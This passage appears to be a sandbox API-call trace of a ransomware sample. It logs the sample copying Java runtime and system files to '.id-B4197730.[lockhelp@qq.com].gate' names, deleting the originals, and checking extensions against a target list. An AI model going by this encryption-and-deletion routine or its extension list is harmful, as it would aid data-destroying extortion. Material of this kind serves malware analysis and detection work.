shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0291.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0291.290] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.290] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0291.696] GetLastError () returned 0x0 [0291.696] ReadFile (in: hFile=0x3d0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xcac, lpOverlapped=0x0) returned 1 [0291.781] WriteFile (in: hFile=0x4d4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xcb0, lpOverlapped=0x0) returned 1 [0291.782] ReadFile (in: hFile=0x3d0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0291.782] WriteFile (in: hFile=0x4d4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe6, lpOverlapped=0x0) returned 1 [0291.782] SetEndOfFile (hFile=0x4d4) returned 1 [0291.782] CloseHandle (hObject=0x4d4) returned 1 [0291.783] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.783] SetEndOfFile (hFile=0x3d0) returned 1 [0291.871] CloseHandle (hObject=0x3d0) returned 1 [0291.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0291.872] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0291.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.872] lstrlenW (lpString=".doc") returned 4 [0291.872] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0291.872] lstrlenW (lpString=".docx") returned 5 [0291.872] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0291.872] lstrlenW (lpString=".pdf") returned 4 [0291.872] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0291.872] lstrlenW (lpString=".xls") returned 4 [0291.873] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString=".xlsx") returned 5 [0291.873] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0291.873] lstrlenW (lpString=".ppt") returned 4 [0291.873] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.873] lstrlenW (lpString=".zip") returned 4 [0291.873] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString=".rar") returned 4 [0291.873] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString=".bz2") returned 4 [0291.873] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString=".7z") returned 3 [0291.873] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0291.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.873] lstrlenW (lpString=".dbf") returned 4 [0291.873] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.873] lstrlenW (lpString=".1cd") returned 4 [0291.873] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.873] lstrlenW (lpString=".jpg") returned 4 [0291.873] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.873] lstrlenW (lpString=".doc") returned 4 [0291.873] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString=".docx") returned 5 [0291.873] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0291.873] lstrlenW (lpString=".pdf") returned 4 [0291.873] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString=".xls") returned 4 [0291.873] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0291.873] lstrlenW (lpString=".xlsx") returned 5 [0291.874] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0291.874] lstrlenW (lpString=".ppt") returned 4 [0291.874] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0291.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.874] lstrlenW (lpString=".zip") returned 4 [0291.874] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0291.874] lstrlenW (lpString=".rar") returned 4 [0291.874] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0291.874] lstrlenW (lpString=".bz2") returned 4 [0291.874] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0291.874] lstrlenW (lpString=".7z") returned 3 [0291.874] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0291.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.874] lstrlenW (lpString=".dbf") returned 4 [0291.874] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0291.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.874] lstrlenW (lpString=".1cd") returned 4 [0291.874] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0291.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0291.874] lstrlenW (lpString=".jpg") returned 4 [0291.874] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0291.874] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0291.874] lstrlenW (lpString="charsets.jar") returned 12 [0291.874] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.930] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3036922) returned 1 [0291.930] CloseHandle (hObject=0x4c4) returned 1 [0291.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0291.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0291.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.937] lstrlenW (lpString=".doc") returned 4 [0291.937] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0291.941] lstrlenW (lpString=".docx") returned 5 [0291.941] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0291.941] lstrlenW (lpString=".pdf") returned 4 [0291.941] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0291.941] lstrlenW (lpString=".xls") returned 4 [0291.941] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0291.941] lstrlenW (lpString=".xlsx") returned 5 [0291.941] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0291.941] lstrlenW (lpString=".ppt") returned 4 [0291.941] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0291.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.941] lstrlenW (lpString=".zip") returned 4 [0291.941] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0291.941] lstrlenW (lpString=".rar") returned 4 [0291.941] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0291.941] lstrlenW (lpString=".bz2") returned 4 [0291.941] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0291.941] lstrlenW (lpString=".7z") returned 3 [0291.941] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0291.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.941] lstrlenW (lpString=".dbf") returned 4 [0291.941] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0291.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.942] lstrlenW (lpString=".1cd") returned 4 [0291.942] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0291.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.942] lstrlenW (lpString=".jpg") returned 4 [0291.942] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0291.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.942] lstrlenW (lpString=".doc") returned 4 [0291.942] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0291.942] lstrlenW (lpString=".docx") returned 5 [0291.942] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0291.942] lstrlenW (lpString=".pdf") returned 4 [0291.942] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0291.942] lstrlenW (lpString=".xls") returned 4 [0291.942] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0291.942] lstrlenW (lpString=".xlsx") returned 5 [0291.942] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0291.942] lstrlenW (lpString=".ppt") returned 4 [0291.942] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0291.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.942] lstrlenW (lpString=".zip") returned 4 [0291.942] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0291.942] lstrlenW (lpString=".rar") returned 4 [0291.942] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0291.942] lstrlenW (lpString=".bz2") returned 4 [0291.942] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0291.942] lstrlenW (lpString=".7z") returned 3 [0291.942] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0291.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.943] lstrlenW (lpString=".dbf") returned 4 [0291.943] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0291.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.943] lstrlenW (lpString=".1cd") returned 4 [0291.943] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0291.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0291.943] lstrlenW (lpString=".jpg") returned 4 [0291.943] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0291.943] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".gate") returned -1 [0291.943] lstrlenW (lpString="classlist") returned 9 [0291.943] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.943] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=84355) returned 1 [0291.943] CloseHandle (hObject=0x4c4) returned 1 [0291.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0291.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.944] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.944] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.944] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.944] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0291.954] GetLastError () returned 0x0 [0291.954] ReadFile (in: hFile=0x4c4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x14983, lpOverlapped=0x0) returned 1 [0292.095] WriteFile (in: hFile=0x4d8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x14990, lpOverlapped=0x0) returned 1 [0292.097] ReadFile (in: hFile=0x4c4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.097] WriteFile (in: hFile=0x4d8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe6, lpOverlapped=0x0) returned 1 [0292.098] SetEndOfFile (hFile=0x4d8) returned 1 [0292.178] CloseHandle (hObject=0x4d8) returned 1 [0292.179] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.179] SetEndOfFile (hFile=0x4c4) returned 1 [0292.243] CloseHandle (hObject=0x4c4) returned 1 [0292.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0292.244] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0292.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.244] lstrlenW (lpString=".doc") returned 4 [0292.244] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0292.244] lstrlenW (lpString=".docx") returned 5 [0292.244] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0292.244] lstrlenW (lpString=".pdf") returned 4 [0292.244] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0292.245] lstrlenW (lpString=".xls") returned 4 [0292.245] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0292.245] lstrlenW (lpString=".xlsx") returned 5 [0292.245] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0292.245] lstrlenW (lpString=".ppt") returned 4 [0292.245] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0292.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.245] lstrlenW (lpString=".zip") returned 4 [0292.245] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0292.245] lstrlenW (lpString=".rar") returned 4 [0292.245] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0292.245] lstrlenW (lpString=".bz2") returned 4 [0292.245] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0292.245] lstrlenW (lpString=".7z") returned 3 [0292.245] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0292.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.245] lstrlenW (lpString=".dbf") returned 4 [0292.245] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0292.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.245] lstrlenW (lpString=".1cd") returned 4 [0292.245] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0292.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.245] lstrlenW (lpString=".jpg") returned 4 [0292.245] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0292.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.245] lstrlenW (lpString=".doc") returned 4 [0292.245] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0292.245] lstrlenW (lpString=".docx") returned 5 [0292.245] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0292.245] lstrlenW (lpString=".pdf") returned 4 [0292.245] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0292.246] lstrlenW (lpString=".xls") returned 4 [0292.246] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0292.246] lstrlenW (lpString=".xlsx") returned 5 [0292.246] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0292.246] lstrlenW (lpString=".ppt") returned 4 [0292.246] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0292.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.246] lstrlenW (lpString=".zip") returned 4 [0292.246] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0292.246] lstrlenW (lpString=".rar") returned 4 [0292.246] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0292.246] lstrlenW (lpString=".bz2") returned 4 [0292.246] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0292.246] lstrlenW (lpString=".7z") returned 3 [0292.246] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0292.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.246] lstrlenW (lpString=".dbf") returned 4 [0292.246] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0292.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.246] lstrlenW (lpString=".1cd") returned 4 [0292.246] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0292.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0292.246] lstrlenW (lpString=".jpg") returned 4 [0292.246] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0292.246] lstrcmpiW (lpString1=".pf", lpString2=".gate") returned 1 [0292.246] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0292.246] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0292.269] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1044) returned 1 [0292.269] CloseHandle (hObject=0x4c4) returned 1 [0292.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0292.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0292.269] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.269] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0292.270] GetLastError () returned 0x0 [0292.270] ReadFile (in: hFile=0x4c4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x414, lpOverlapped=0x0) returned 1 [0292.320] WriteFile (in: hFile=0x50c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x420, lpOverlapped=0x0) returned 1 [0292.321] ReadFile (in: hFile=0x4c4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.321] WriteFile (in: hFile=0x50c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xee, lpOverlapped=0x0) returned 1 [0292.321] SetEndOfFile (hFile=0x50c) returned 1 [0292.578] CloseHandle (hObject=0x50c) returned 1 [0292.578] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.578] SetEndOfFile (hFile=0x4c4) returned 1 [0292.580] CloseHandle (hObject=0x4c4) returned 1 [0292.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0292.581] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0292.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.581] lstrlenW (lpString=".doc") returned 4 [0292.581] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0292.581] lstrlenW (lpString=".docx") returned 5 [0292.581] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0292.581] lstrlenW (lpString=".pdf") returned 4 [0292.581] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0292.581] lstrlenW (lpString=".xls") returned 4 [0292.581] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0292.581] lstrlenW (lpString=".xlsx") returned 5 [0292.581] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0292.582] lstrlenW (lpString=".ppt") returned 4 [0292.582] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString="C:\\Program 